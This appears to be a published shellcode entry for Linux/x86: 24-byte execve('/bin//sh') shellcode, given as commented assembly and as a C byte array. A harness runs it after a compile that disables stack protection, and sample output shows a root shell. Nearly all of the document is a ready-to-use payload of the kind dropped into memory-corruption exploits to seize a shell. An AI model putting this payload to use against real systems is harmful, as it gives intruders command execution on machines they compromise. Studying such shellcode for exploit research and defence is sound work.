Linux/x86 execve "/bin/sh" - shellcode 24 byte

/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 24 byte
; Platform: linux/x86
; Date: 2015-01-03
; Author: Dennis 'dhn' Herrmann
; Website: https://zer0-day.pw
 
BITS 32
 
global _start
section .text
 
; syscalls kernel
SYS_EXECVE equ 0x0b
 
_start:
 
    ; execve("/bin//sh", 0, 0);
    push SYS_EXECVE ; SYS_EXECVE = 11
    pop eax         ; set SYS_EXECVE to eax
 
    xor esi, esi    ; clean esi
    push esi        ; esi is zero
    push 0x68732f2f ; push 'hs//'
    push 0x6e69622f ; push 'nib/'
 
    ; execve("/bin//sh/", 0, 0);
    ;             ^
    ;             |
    ;            ebx
    mov ebx, esp
 
    ; execve("/bin//sh/", 0, 0);
    ;                     ^
    ;                     |
    ;                    ecx
    xor ecx, ecx    ; clean ecx
 
    ; execve("/bin//sh/", 0, 0);
    ;                        ^
    ;                        |
    ;                       edx
    mov edx, ecx    ; set zero to edx
    int 0x80        ; syscall execve
*/
 
/*
 * $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
 * $ ./shellcode
 *  Shellcode Length:  24
 *  # id
 *  uid=0(root) gid=0(root) groups=0(root)
 */
 
#include <stdio.h>
#include <string.h>
 
char shellcode[] = {
    "\x6a\x0b"                      /* push   0xb */
    "\x58"                          /* pop    eax */
    "\x31\xf6"                      /* xor    esi,esi */
    "\x56"                          /* push   esi */
    "\x68\x2f\x2f\x73\x68"          /* push   0x68732f2f */
    "\x68\x2f\x62\x69\x6e"          /* push   0x6e69622f */
    "\x89\xe3"                      /* mov    ebx,esp */
    "\x31\xc9"                      /* xor    ecx,ecx */
    "\x89\xca"                      /* mov    edx,ecx */
    "\xcd\x80"                      /* int    0x80 */
};
 
int main()
{
    printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
 
    return 0;
}